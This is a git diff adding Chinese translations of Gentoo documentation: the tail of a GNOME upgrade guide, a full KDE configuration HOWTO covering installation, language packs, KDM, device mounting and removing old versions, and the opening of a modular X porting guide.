+这会产生一些新的相互阻止的情况，用以防止软件包之间的文件冲突。为了解决这个问题，就像Portage所告诉你的，按照<uri link="http://www.gentoo.org/doc/zh_cn/handbook/handbook-x86.xml?full=1#blocked">手册</uri>中正确的指引来做就可以了。一般来说，也就是暂时删除引发冲突的软件包，然后照常继续，刚才删除的软件包最后会通过安装元软件包或者其他依赖于它的GNOME组件来被重新安装上。
+</p>
+
+</body>
+</section>
+<section>
+<title>GNOME不再作为GDM中的一个session选项</title>
+<body>
+
+<p>
+GDM会查看目录<path>/usr/share/xsessions/*</path>下面的文件以获知用户已经安装了哪些桌面环境，并将它们在“Sessions”菜单中列出以供选择。
+</p>
+
+<p>
+GNOME的session文件现在由<c>gnome-base/gnome-session-2.22</c>来提供，而不是<c>gnome-base/gdm</c>。由于这个原因，我们加入了必要的软件包阻挡以防止产生文件冲突，此冲突可能会导致session文件丢失。
+</p>
+
+<p>
+唯一有可能出问题的是<c>gnome-session</c>在为清除GDM升级阻挡而被卸载之后没有升级到2.22。表现出来的状况将是在GDM的“Sessions”菜单中缺少GNOME的选项。如果是这样的话，请检查你是否安装了<c>gnome-session-2.22.0</c>或者更高的版本。
+</p>
+
+<p>
+注意这个问题不会出现在使用<c>gnome-base/gnome</c>元软件包的用户身上，因为此元软件包会再次引入正确的<c>gnome-session</c>软件包。
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/desktop/kde/kde-config.xml b/xml/htdocs/proj/zh_cn/desktop/kde/kde-config.xml
new file mode 100644
index 00000000..03aebcc5
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/desktop/kde/kde-config.xml
@@ -0,0 +1,662 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/desktop/kde/kde-config.xml,v 1.1 2008/05/03 06:41:50 r0bertz Exp $ -->
+<!-- English CVS version:1.1 -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/zh_cn/desktop/kde/kde-config.xml" lang="zh_cn">
+
+<title>KDE配置HOWTO</title>
+
+<author title="作者">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="编辑">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="译者">
+  <mail link="fideas@126.com">fideas</mail>
+</author>
+
+<abstract>
+KDE是应用最为广泛的桌面环境之一。本指南将全面向你介绍关于KDE的安装、配置和使用方面的技巧。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license--> 
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.22</version>
+<date>2007-06-23</date>
+
+<chapter>
+<title>什么是KDE桌面环境?</title>
+<section>
+<title>KDE项目</title>
+<body>
+
+<p>
+<uri link="http://www.kde.org">KDE项目</uri>是围绕KDE(一种运行于Linux/Unix平台上的开源图形桌面环境)的开发而成立的一个自由软件开发项目。该项目组的成员包括来自全球各地数百名热衷于开源软件事业的软件工程师。详细信息请参阅<uri link="http://www.kde.org/whatiskde/project.php">什么是KDE项目</uri>。
+</p>
+
+</body>
+</section>
+<section>
+<title>关于KDE</title>
+<body>
+
+<p>
+KDE是一个简单易用的桌面环境。它基于先进的框架技术而构建，这一技术使得它上面的程序可以很好地协同工作。KDE桌面所集成的程序提供了很全面的应用解决方案。例如：文件管理，浏览互联网，办公套件，收发电子邮件……这些需求全部都可以在KDE中实现。
+</p>
+
+<p>
+KDE当前已经可以支持70多种语言，它拥有庞大的用户群。如果你有兴趣，可以在这里找到很多KDE的<uri link="http://www.kde.org/screenshots/">屏幕截图</uri>。关于KDE的更多信息，你可以浏览<uri link="http://www.kde.org">KDE.org</uri>上面的<uri link="http://www.kde.org/whatiskde/">什么是KDE？</uri>。
+</p>
+
+</body>
+</section>
+<section>
+<title>KDE社区</title>
+<body>
+
+<p>
+与KDE主题相关的社区数量很多，在<uri link="http://www.kdenews.org">KDEnews.org</uri>你可以找到最新的KDE常规信息; <uri link="http://www.kdedevelopers.org">KDEdevelopers.org</uri>是一个关注于KDE开发方面信息的站点;<uri link="http://www.kde-forum.org">KDE-forum</uri>站点则更多关注于KDE重大信息。你可以在<uri link="http://www.kde.org/family/">KDE Family网页</uri>上找到更多的社区。
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>安装KDE</title>
+<section>
+<title>你需要什么？</title>
+<body>
+
+<p>
+如果你有兴趣安装KDE或是希望系统提供对KDE的支持,请先确认在已经在USE变量中添加了<c>kde</c>这个标记以及<c>qt3</c>或<c>qt4</c>(当然你可以两项都添加)。Qt是KDE所采用的图形开发库，在USE变量中添加<c>qt3</c>标记你装会安装该库的3.x版本，加入<c>qt4</c>变量则会安装更新的4.x版本。虽然这两者并非安装KDE所必须的，但在KDE环境下的很多软件都提供了对<c>qt3</c>或<c>qt4</c>的支持。
+</p>
+
+<p>
+如果你希望KDE能够自动挂载<uri link="#kde_device_mounting">KDE设备挂载管理</uri>上的这些设备，就需要在USE变量中添加<c>hal</c>标记。
+</p>
+
+<p>
+如果你不希望在任何多媒体程序中使用<uri link="http://www.arts-project.org/">aRts</uri>，那就在USE标记中去掉aRts这个标记(默认情况下是包含的)。
+</p>
+
+<note>
+Gentoo 2006.1中引入了较多的profile，其中包括<c>desktop</c>子profile。如果你的系统架构中有这一项，你也许希望切换到这一profile。因为它包含了许多默认的USE标记设定。请参阅<uri link="/doc/en/gentoo-upgrading.xml">Gentoo Upgrading Guide</uri>来学习如何切换profile。
+</note>
+
+</body>
+</section>
+<section>
+<title>拆分安装KDE</title>
+<body>
+
+<note>
+我们推荐选择我们在下面所提到的拆分方式来安装KDE（而不是完整地安装，当然这两种安装方法都是可行的）。
+</note>
+
+<p>
+只要你愿意，你还可以更进一步地控制KDE的安装，比如你可以选择仅仅安装你所需要的某几个KDE程序。关于KDE下独立程序ebuild的详细信息，请参阅<uri link="/doc/en/kde-split-ebuilds.xml">Split Ebuilds HOWTO</uri>。
+</p>
+
+<p>
+使用KDE拆分ebuild进行安装时,分清应该安装什么，不需要安装什么是件难度较大的事。幸运的是Gentoo为我们准备了一些预设的安装方案。这些方案可以让我们轻松地安装具有既定软件的KDE环境。
+</p>
+
+<ul>
+  <li>
+    如果你想安装一个完整的KDE环境，请安装<c>kde-meta</c>。使用该包进行安装会将所有的KDE程序及其依赖包。 
+  </li>
+  <li>
+    如果你想安装一个基本的KDE环境，请安装<c>kdebase-startkde</c>。然后你可以在这个基础上选择安装其他所需要的KDE程序。
+  </li>
+  <li>
+    如果你想安装一个介于<c>kde-meta</c>和<c>kdebase-startkde</c>之间的KDE环境，请安装<c>kdebase-meta</c>。这会加装一些额外的软件，例如<c>konsole</c>和<c>kdm</c>。
+  </li>
+</ul>
+
+<p>
+当然，这三种安装方案都有一定的局限性。你也许更希望能安全地安装某两种方案的混合。为了使你能更轻松地作出选择，下面的表格简要列出了这些安装选项所包含的主要的KDE组件(不是全部)。
+</p>
+
+<p>
+下面这些包<e>没有</e>包含在<c>kdebase-startkde</c>中
+</p>
+
+<table>
+<tr>
+  <th>Ebuild名称</th>
+  <th>描述</th>
+</tr>
+<tr>
+  <ti><c>akregator</c></ti>
+  <ti>
+    该程序可以轻松管理和阅读互联网RSS新闻。
+  </ti>
+</tr>
+<tr>
+  <ti>juk</ti>
+  <ti>
+    一个具有强大播放列表功能的媒体播放程序，外观和操作上与苹果的iTunes极为相似。
+  </ti>
+</tr>
+<tr>
+  <ti>kate</ti>
+  <ti>
+    <uri link="http://kate.kde.org/">KDE高级文本编辑器(kate)</uri>，一个具有多文档视图、语法加亮、代码折叠等很多特性的文本编辑程序。
+  </ti>
+</tr>
+<tr>
+  <ti><c>kmail</c></ti>
+  <ti>
+    使用<uri link="http://kmail.kde.org/">Kmail</uri>，你可以高效地管理你的电子邮件。
+  </ti>
+</tr>
+<tr>
+  <ti><c>knetattach</c></ti>
+  <ti>
+    使用KNetAttach(也被称作<e>网络文件夹向导</e>)，你可以轻松地在KDE桌面上添加网络共享文件夹。
+  </ti>
+</tr>
+<tr>
+  <ti><c>knode</c></ti>
+  <ti>
+    KNode是一款功能强大的KDE新闻阅读程序。
+  </ti>
+</tr>
+<tr>
+  <ti><c>konsole</c></ti>
+  <ti>
+    <uri link="http://konsole.kde.org/">Konsole</uri>是KDE下的终端模拟程序。
+  </ti>
+</tr>
+<tr>
+  <ti><c>kontact</c></ti>
+  <ti>
+    <uri link="http://kontact.kde.org/">Kontact</uri>是KDE下个人信息管理程序。它可以使你与他人的沟通更加快捷，能快速、集中地管理你在工作中的很多信息。
+  </ti>
+</tr>
+<tr>
+  <ti><c>kopete</c></ti>
+  <ti>
+    <uri link="http://kopete.kde.org/index.php">Kopete</uri>是KDE下的一款即时通讯软件，几乎支持所有流行的通信协议。
+  </ti>
+</tr>
+<tr>
+  <ti><c>korganizer</c></ti>
+  <ti>
+    <uri link="http://korganizer.kde.org/">Korganizer</uri>是KDE下的一款日程与计划管理软件。
+  </ti>
+</tr>
+<tr>
+  <ti><c>kpdf</c></ti>
+  <ti>
+    使用<uri link="http://kpdf.kde.org/">KPDF</uri>，你可以阅读PDF文档，该程序的一些独有特性可以极大地提高你的阅读乐趣。
+  </ti>
+</tr>
+<tr>
+  <ti><c>kscd</c></ti>
+  <ti>
+    kscd是KDE下一款图形界面的CD播放程序。
+  </ti>
+</tr>
+<tr>
+  <ti><c>ksnapshot</c></ti>
+  <ti>
+    你可以使用ksnapshot截取屏幕图像。
+  </ti>
+</tr>
+<tr>
+  <ti><c>kuickshow</c></ti>
+  <ti>
+    KDE下支持多种格式的图像浏览程序。
+  </ti>
+</tr>
+</table>
+
+<p>
+这里所列举的只是冰山一角。如果你想了解更多KDE下可用程序的信息，请参阅<uri link="http://packages.gentoo.org/packages/?category=kde-base">kde-base分类</uri>，上面对各个软件及其功能作出了描述。
+</p>
+
+<p>
+使用<c>emerge -p</c>可以预览将要安装的软件包，记得带上<c>less</c>这个参数，否则可能无法浏览到全部的待安装包信息。
+</p>
+
+<pre caption="预览KDE安装">
+<comment>(请替换成你所选择的安装包)</comment>
+# <i>emerge -p kdebase-startkde | less</i>
+</pre>
+
+<p>
+如果你对列举出来的内容感觉满意，则去掉参数<c>-p</c>。KDE的安装过程较为漫长，因为KDE是一个大型的应用。所以你的命令提交后没有马上运行完毕，千万不要惊讶。
+</p>
+
+</body>
+</section>
+<section>
+<title>安装完整的KDE</title>
+<body>
+
+<p>
+虽然我们推荐使用KDE组件的ebuilds来安装，但你也可以选择使用完整的ebuilds来安装KDE。
+</p>
+
+<p>
+KDE项目在发布新版本的KDE桌面环境时将它分为16个大的软件包，每一个包都包含一系列的软件(这也它们被称为“完整”的原因)，因此你需要决定自己需要安装其中的哪些包。
+</p>
+
+<p>
+如果你想知道把这所有的包都安装上去是什么样子，那就亲身去试验一下吧。
+</p>
+
+<pre caption="列举出安装KDE所需要安装的所有软件包">
+# <i>emerge --pretend kde | less</i>
+</pre>
+
+<p>
+如果你不希望安装所有列出的包，可以单个地安装你需要的包。你真的需要的可能只是<c>kdebase</c>这个包，它包含了KDE的基本包和相依的依赖包。下面列出的这些包可供你安装。
+</p>
+
+<table>
+<tr>
+  <th>软件包</th>
+  <th>描述</th>
+</tr>
+<tr>
+  <ti>辅助工具<br />kdeaccessibility</ti>
+  <ti>
+    辅助功能相关的程序集，由<uri link="http://accessibility.kde.org">KDE Accessibility Project</uri>维护。
+  </ti>
+</tr>
+<tr>
+  <ti>系统管理工具<br />kdeadmin</ti>
+  <ti>
+    KDE下的系统管理相关工具，比如<c>KCron</c>(计划任务管理)、<c>KUser</c>(用户管理)和<c>KDat</c>(备份管理)。
+  </ti>
+</tr>
+<tr>
+  <ti>艺术美化包<br />kdeartwork</ti>
+  <ti>
+    与屏幕保护程序和外观主题相关的艺术美化包，参阅<uri link="http://www.kde-artists.org/">www.kde-artists.org</uri>获取更多与KDE艺术相关的信息。
+  </ti>
+</tr>
+<tr>
+  <ti>教育教学<br />kdeedu</ti>
+  <ti>
+    KDE下针对3岁到18岁之的青少年开发的教学软件，更多信息请参阅<uri link="http://edu.kde.org">KDE Edu Project</uri>。
+  </ti>
+</tr>
+<tr>
+  <ti>游戏<br />kdegames</ti>
+  <ti>
+    KDE下的一些游戏，可以在<uri link="http://games.kde.org">KDE Games Center</uri>上找到更多的说明信息。
+  </ti>
+</tr>
+<tr>
+  <ti>图像处理<br />kdegraphics</ti>
+  <ti>
+    KDE下图像处理相关程序，包括<c>KSnapshot</c>(截图程序),<c>KolourPaint</c>(小巧的图像编辑程序)<c>Kpdf</c>(PDF文档阅读程序)<c>KIconEdit</c>(图标编辑程序),<c>KPovModeler</c>(3D建模程序)。
+  </ti>
+</tr>
+<tr>
+  <ti>多媒体<br />kdemultimedia</ti>
+  <ti>
+    KDE下多媒体处理程序，包括CD，MP3，DVD等音频和视频播放程序。了解更多信息请参阅<uri link="http://multimedia.kde.org">KDE Multimedia Project</uri>。
+  </ti>
+</tr>
+<tr>
+  <ti>网络工具<br />kdenetwork</ti>
+  <ti>
+    KDE下的网络应用程序集，例如<c>Kopete</c>(支持多协议的即时通讯程序),<c>kppp</c>(拔号程序)<c>KSirc</c>(一款IRC客户端程序)。需要注意的是<c>konqueror</c>(文件管理器<e>和</e>网络游览器)是包含在<c>kdebase</c>中的。
+  </ti>
+</tr>
+<tr>
+  <ti>个人信息管理<br />kdepim</ti>
+  <ti>
+    个人信息管理程序，例如<c>KOrganizer</c>(日程管理)、<c>KAddressbook</c>(地址簿管理器)、<c>Kontact</c>(信息管理群集)、<c>KMail</c>(电子邮件)。更多信息请参阅<uri link="http://pim.kde.org">KDE PIM Project</uri>网站。
+  </ti>
+</tr>
+<tr>
+  <ti>开发工具<br />kdesdk</ti>
+  <ti>
+    编程开发工具，包括 <c>KBabel</c> (翻译工具)、<c>KBugBuster</c> (漏洞跟踪前端)和<c>Kompare</c>(两个文件之间差异对比)。
+  </ti>
+</tr>
+<tr>
+  <ti>小玩具<br />kdetoys</ti>
+  <ti>
+    一些用来在你等待pizza送到时消磨时间的小游戏。你可以找到类似<c>eyesapplet</c>和<c>fifteenapplet</c>这样的小组件，其中不失像<c>amor</c>这样的精品。这些程序对系统资源的要求极低。
+  </ti>
+</tr>
+<tr>
+  <ti>工具<br />kdeutils</ti>
+  <ti>
+    图形界面的系统工具，比如<c>kcalc</c>(计算器)、<c>kdessh</c>(SSH终端)、<c>kfloppy</c>(软盘管理相关的工具)等等。
+  </ti>
+</tr>
+<tr>
+  <ti>语言包<br />kde-i18n</ti>
+  <ti>
+    KDE国际化相关的文件，其中包括了翻译的文档。更多信息请参阅<uri link="http://i18n.kde.org">KDE i18n project</uri>。
+  </ti>
+</tr>
+</table>
+
+<p>
+更高级别的定制安装，比如只安装KDE的网络组件和系统管理相关程序。
+</p>
+
+<pre caption="单独安装KDE组件的示例">
+# <i>emerge kdebase kdenetwork kdeadmin</i>
+</pre>
+
+<p>
+你不要惊讶：编译KDE真的很慢。
+</p>
+
+</body>
+</section>
+<section>
+<title>更多的KDE程序</title>
+<body>
+
+<p>
+KDE下的程序远远不止官方发布的这些。事实上还有成千上万的程序是基于KDE框架及其库的，以下列出的这些就很流行。
+</p>
+
+<table>
+<tr>
+  <th>Ebuild名称</th>
+  <th>描述</th>
+</tr>
+<tr>
+  <ti><c>koffice</c></ti>
+  <ti>
+    <uri link="http://www.koffice.org/">KOffice</uri>是一个高度集成的办公套件。其中包括专门的文档处理程序(KWord)、电子表格处理程序(KSpread)、幻灯片演示程序(KPrensenter)、图像处理程序(Krita)、数据库管理程序(Kexi)、以及很多其他方面的功能。和KDE可以通过<c>kde</c>或<c>kde-meta</c>来安装类似，你也可以将Koffice作为一个完整的包进行安装(<c>koffice</c>)或者选择这组程序中的某一部分进行安装(<c>koffice-meta</c>)。
+  </ti>
+</tr>
+<tr>
+  <ti><c>amarok</c></ti>
+  <ti>
+    在<uri link="http://amarok.kde.org/">amaroK</uri>上，你可以了解到一个Unix/Linux下强大的音频播放软件。
+  </ti>
+</tr>
+<tr>
+  <ti><c>k3b</c></ti>
+  <ti>
+    <uri link="http://www.k3b.org/">K3B</uri>是一个专业的CD/DVD刻录软件，支持音频光盘的刻录。用它来制作CD光盘是件很轻松的事。
+  </ti>
+</tr>
+<tr>
+  <ti><c>kaffeine</c></ti>
+  <ti>
+    <uri link="http://kaffeine.sourceforge.net/">Kaffeine</uri>是KDE下一个功能全面的多媒体播放器。
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>第一印象</title>
+<body>
+
+<p>
+现在，让我们来看看努力的成果吧。你的妈妈也许告诫过你决不要以管理员身份去用KDE，所以我们还是以普通用户的身份来试用它吧。用你的帐号登录系统，并配置好环境，在<path>~/.xinitrc</path>中加入<c>exec startkde</c>，然后你就可以用<c>startx</c>这个命令来启动KDE了。(请参阅<uri link="/doc/zh_cn/xorg-config.xml">X服务器配置Howto</uri>)中的<uri link="/doc/zh_cn/xorg-config.xml#using_startx">使用startx</uri>。
+</p>
+
+<pre caption="配置本地环境">
+$ <i>echo "exec startkde" &gt; ~/.xinitrc</i>
+</pre>
+
+<p>
+然后通过运行命令<c>startx</c>来启动你的图形界面。
+</p>
+
+<pre caption="启动KDE">
+$ <i>startx</i>
+</pre>
+
+<p>
+恭喜你！你现在所看到的是一个名为<c>KPersonalizer</c>的程序，接下来让我们看看该如何来配置KDE。
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>配置KDE</title>
+<section>
+<title>KPersonalizer</title>
+<body>
+
+<p>
+KPersonalizer是一个用于帮助你配置KDE的程序。这是个用处很大的配置向导，在它的帮助下你可以快速地按你的需求对KDE进行配置。在你第一次运行KDE时，KPersonalizer将会自动运行。
+</p>
+
+<p>
+KPersonalizer首先会要求你选择所在的国家及你希望使用的语言。由于我们没有安装需要的语言包，所以可用语言的选单上选项会很少，甚至只有一个英语可供选择。不过你不用担心，我们将在后面进行语言的设定(前提是你所希望使用的语言已经得到支持)。
+</p>
+
+<p>
+第二项要你做出的选择是<e>System 
+Behavior</e>。包括窗体行为、鼠标选择行为等。在你选中某一行为时，它的描述可以帮你判断该行为方案是否符合你的需求。如果你不能确定使用何种行为方案，不必担心——你可以随时更改行为选项。
+</p>
+
+<p>
+下一步，KPersonalizer会询问你希望开启哪些视觉效果。你开启的效果越多，你的KDE看起来就越时髦。当然，你的CPU负担也就越重。很难想像在一台CPU频率为600Mhz，内存为128Mb的计算机上开启这些效果是什么情景。将全部的视觉效果打开可能会导致你的系统反应迟钝。
+</p>
+
+<p>
+最后,KPersonalizer会询问你使用何种风格。风格定义了窗体装饰、主题、按钮布局等。你可以多偿试几种风格以找到你所喜欢的。我们前面不是告诉过你KDE的定制性是很强的？
+</p>
+
+<p>
+现在，坐下来慢慢享受——KDE即将启动。在你面前的将是一个美观、整洁、功能强大的桌面应用环境。
+</p>
+
+</body>
+</section>
+<section>
+<title>安装语言包</title>
+<body>
+
+<p>
+如果英语不是你的母语，或者你喜欢在KDE中使用其他国家的语言，请继续阅读本文。接下去我们将向你讲述如何在KDE中安装你想使用的语言对应的语言包。
+</p>
+
+<p>
+语言包被放置在名为<c>kde-i18n</c>的包中。为了安装你希望使用的语言(可以是多种)，你需要设定相应的<c>LINGUAS</c>变量。推荐的做法是在<path>/etc/make.conf</path>中进行设定，这样你每次更新系统时就可以保留这些设定了。
+</p>
+
+<pre caption="在/etc/make.conf中设定语言选项">
+# <i>nano -w /etc/make.conf</i>
+<comment>(以安装荷兰(nl)和法国(fr)语言为例)</comment>
+LINGUAS="nl fr"
+</pre>
+
+<p>
+然后，运行<c>emerge kde-i18n</c>来安装这些指定的语言包。安装完成之后启动(重新启动)KDE，进入KDE控制中心(菜单&gt;->控制中心)。在<e>这个程序</e>里，你几乎可以对KDE所有方面进行配置,比KPersonalizer的全面多了。
+</p>
+
+<p>
+要更改你的语言，进入<c>区域</c>，<c>国家/地区&amp;语言</c>，然后后自己的需求加入相应的语言。注销重新登录KDE之后就可以得到一个完全的你所选择的语言环境了，希望你会喜欢。
+</p>
+
+</body>
+</section>
+<section>
+<title>图形登录</title>
+<body>
+
+<p>
+如果你想使用图形登录界面<c>kdm</c>(即不需要每次先登录终端，然后运行<c>startx</c>来启动)。首先要做的当然就是安装它了，然后编辑对应的配置文件，让系统启动完毕后自动进入图形界面，这些我们稍后将会讲到。
+</p>
+
+<note>
+由于多种因原，很可能你的系统中已经安装了<c>kdm</c>。如果你得到<c>kde-base/kdm</c>被阻挡的错误，请参阅下一节的内容。
+</note>
+
+<pre caption="安装KDM">
+# <i>emerge --ask kdm</i>
+</pre>
+
+<p>
+修改<path>/etc/conf.d/xdm</path>，将<c>DISPLAYMANAGER</c>改成<c>kdm</c>。
+</p>
+
+<pre caption="设定/etc/conf.d/xdm中的DISPLAYMANAGER">
+# <i>nano -w /etc/conf.d/xdm</i>
+<comment>(在这个地方进行修改)</comment>
+DISPLAYMANAGER="kdm"
+</pre>
+
+<p>
+最后把<c>xdm</c>加入到default runlevel:
+</p>
+
+<pre caption="将 xdm加入 default runlevel">
+# <i>rc-update add xdm default</i>
+</pre>
+
+<p>
+重启系统，将会自动进入KDE图形登录界面。
+</p>
+
+<p>
+KDE会提供很多会话供你选择，包括KDE(废话)和其你系统中安装的所有会话，这些会话是KDE在你的系统路径<path>/usr/share/xsessions/</path>中找到的。如果你使用KDM，就不需要配置<path>~/.xinitrc</path>文件了。
+</p>
+
+</body>
+</section>
+<section id="kde_device_mounting">
+<title>配置KDE的设备加载</title>
+<body>
+
+
+
+<!-- TODO add pmount package when pmount is in arch.
+
+     Also, add pmount to the default runlevel -->
+<p>
+在KDE下，你可以在图形界面中通过简单的鼠标点击来实现加载光驱,USB设备等。要实现这一功能，你必须在KDE的编译选项中加入<c>hal</c>这一USE标记，还需要安装<c>dbus</c>和<c>hald</c>并将这两项加入到你的default runlevel中.同时,你必须将自己的帐户添加到<c>plugdev</c>组中。
+</p>
+
+<pre caption="设备加载配置">
+# <i>emerge --ask dbus hal</i>
+# <i>rc-update add dbus default</i>
+# <i>rc-update add hald default</i>
+<comment>将 &lt;用户&gt;加入到plugdev组中</comment>
+# <i>gpasswd -a &lt;user&gt; plugdev</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>管理KDE安装</title>
+<section>
+<title>安装多个版本的KDE</title>
+<body>
+
+<p>
+在Gentoo的KDE管理机制中，当有一个更高于你系统中当前版本出现(比如3.5.x系列,而你的系统中安装的为3.4.x系列)，新版本的安装不会覆盖你当前的版本，两者并存。也就是说如果你已经安装了KDE3.4,然后又安装KDE3.5，你就会有两个版本的KDE，一个安装在<path>/usr/kde/3.4/</path>中，另一个在<path>/usr/kde/3.5/</path>中。
+</p>
+
+<p>
+需要注意的是，不同版本的KDE配置文件也是保存在你的根目录中不同的位置的，KDE3.4的配置保存在目录<path>/home/&lt;user&gt;/.kde3.4</path>中。当你第一次运行KDE3.5时，系统会自动读取KDE3.4的配置目录，迁移到<path>/home/&lt;user&gt;/.kde3.5</path>，并将它作为配置和数据的保存目录。
+</p>
+
+<p>
+另外很重要一点要注意：进行KDE的版本升级时，你所安装的额外软件(例如<c>koffice</c>，<c>amarok</c>或<c>k3b</c>)可能会出现问题。解决办法是在新的KDE下重新编译这些软件以更新库的指向。
+</p>
+
+</body>
+</section>
+<section>
+<title>删除旧版本</title>
+<body>
+
+<p>
+当你安装了多个版本的KDE之后，随之而来的一个问题是：当你明确已经不需要旧版的了，要如何删除它呢？不幸的是，portage并不支持通过一条简单的命令来删除某软件及其所依赖的包。也就是说，你运行<c>emerge --unmerge kde</c>是无法真正删除KDE的。
+</p>
+
+<p>
+删除KDE(以KDE 3.4为例)，必须删除下面这些包：
+</p>
+
+<pre caption="删除KDE 3.4">
+# <i>emerge --unmerge =arts-3.4* =kdelibs-3.4* =kdebase-3.4* ...</i>
+</pre>
+
+<p>
+毫无疑问，如果你安装了很多的KDE相关包，这样做是件很伤神的事。幸好有很多办法可以自动处理这些操作，下面举几个例子。
+</p>
+
+<p>
+首先，我们通过<c>equery</c>这个命令列出希望删除的包。该命令包含在<c>app-portage/gentoolkit</c>这个包里。
+</p>
+
+<pre caption="列出将要删除的包">
+<comment>(列出所有安装的KDE包)</comment>
+# <i>equery list kde-base/</i>
+<comment>(列出所有安装的KDE相关包并提取出属于KDE 3.4的)</comment>
+# <i>equery list kde-base/ | grep 3\.4</i>
+</pre>
+
+<p>
+然后仔细核对这些列出的待删除包。确认之后，将该列表加入到<c>emerge --unmerge</c>之后。
+</p>
+
+<pre caption="删除选择的包">
+# <i>equery list kde-base/ | grep 3\.4 | xargs emerge --unmerge --pretend</i>
+</pre>
+
+<p>
+再次核对列出的包清单，确认无误后去掉参数<c>--pretend</c>重新运行该命令，开始删除。
+</p>
+
+<p>
+删除任务完成之后，<path>/usr/kde/3.4/</path>目录中可能还有部份文件剩余(主要是一些配置文件，portage的管理机制中是严格禁止触及配置文件的)。你可以安全地删除<path>/usr/kde/3.4/</path>目录及其所包含的KDE3.4残余文件。
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>集中问题</title>
+<section>
+<title>KDE启动缓慢</title>
+<body>
+
+<p>
+确认你的<path>/etc/hosts</path>文件没有错误：
+</p>
+
+<ul>
+  <li>
+    如果你有一个固定的IP地址，确认你在该文件中指明了FQDN和主机名，例如<c>192.168.0.10 tux.mydomain tux</c>。
+  </li>
+  <li>
+    如果你使用动态IP或是没有网络设备，在localhost语句后加上你的主机名，例如<c>127.0.0.1 localhost tux</c>。
+  </li>
+</ul>
+
+<p>
+检查是否开启了硬盘的DMA
+</p>
+
+<pre caption="更改DMA设定">
+# <i>hdparm /dev/hda</i>
+<comment>(...)</comment>
+using_dma       = 1 (on)
+<comment>(...)</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/desktop/x/x11/porting-modular-x-howto.xml b/xml/htdocs/proj/zh_cn/desktop/x/x11/porting-modular-x-howto.xml
new file mode 100644
index 00000000..82a7dc8c
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/desktop/x/x11/porting-modular-x-howto.xml
@@ -0,0 +1,206 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/desktop/x/x11/porting-modular-x-howto.xml,v 1.1 2008/06/16 20:50:59 r0bertz Exp $ -->
+<!-- English CVS version: 1.8 -->
+
+<guide link="/proj/zh_cn/desktop/x11/porting-modular-x-howto.xml" lang="zh_cn">
+<title>模块化X移植指南</title>
+
+<author title="Author">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="译者">
+  <mail link="jingcheng01@gmail.com">井诚</mail>
+</author>
+
+<abstract>
+本指南向你展示要使用新的模块化X.org该如何移植软件包。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-01-03</date>
+
+<chapter>
+<title>背景</title>
+
+<section>
+<title>介绍</title>
+<body>
+
+<p>
+你可能会感到奇怪，曾经是漂亮、简单的一个xorg-x11包，变成了将近300个分开的包，这到底是为什么？这个解释肯定会让你觉得合理。=)这不是Gentoo背着X.org做的；恰恰是他们将所有的包分割开发布，而我们只是遵循他们的做法而已。
+</p>
+
+<p>
+你可以研读<uri link="http://www.gentoo.org/proj/en/desktop/x/x11/modular-x-howto.xml#doc_chap1_sect1">模块化X迁移指南</uri>上的细节。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>依赖关系检查</title>
+<section>
+<body>
+
+<p>
+我们想要尽可能精确的列举依赖关系，以使人们的系统上不必到处都是诸如XPrint之类用不到的东西。所以你想要直接依赖于需要的库和头文件，而不是任何类型的虚拟包。
+</p>
+
+<p>
+而且，我们不能保证人们仅仅因为已经安装了元软件包，子软件包就一定已经被装上。消除掉这种不确定因素的将节省我们大量的时间。因为否则的话，我们就要花很多时间来把一些本不必存在的bug标记为无效。
+</p>
+
+<p>
+如果我发现有任何包依赖于任一元软件包，我将会和该软件包的维护者争论到底。
+</p>
+
+<p>
+第一步是安装模块化X，或者找个已经安装了它的人。这可以通过chroot实现──没有必要实际运行X，你只需要有它的文件来做依赖关系检查就够了。
+</p>
+
+<pre caption="取得必需的脚本">
+$ <i>wget http://dev.gentoo.org/~dberkholz/scripts/linking_libs.sh \
+	http://dev.gentoo.org/~dberkholz/scripts/included_headers.sh \
+	http://dev.gentoo.org/~betelgeuse/scripts/deputils/checkdeps.rb \
+	http://dev.gentoo.org/~betelgeuse/scripts/deputils/pkgutil.rb</i>
+</pre>
+
+<impo>
+<e>不要</e>使用<c>gentoolkit-0.2.1_pre9</c>，它会生成无效的输出。参见<uri>https://bugs.gentoo.org/show_bug.cgi?id=111501</uri>。
+</impo>
+
+<p>
+第一个脚本，<c>linking_libs.sh</c>，检查编译日志以找到该软件包所有链接到的库，并打印那些库所属的包。如要获取编译日志，你可以在<path>/etc/make.conf</path>中设置PORT_LOGDIR，或者使用输出重定向。
+</p>
+
+<pre caption="对gdm包运行linking_libs.sh">
+$ <i>ls /var/log/portage/*gdm* -l</i>
+-rw-r--r-- 1 root portage 556551 2006-01-09 11:41 /var/log/portage/8430-gdm-2.8.0.7.log
+-rw-r--r-- 1 root portage    855 2006-01-09 11:42 /var/log/portage/8431-gdm-2.8.0.7.log
+$ <i>linking_libs.sh /var/log/portage/8430-gdm-2.8.0.7.log</i>
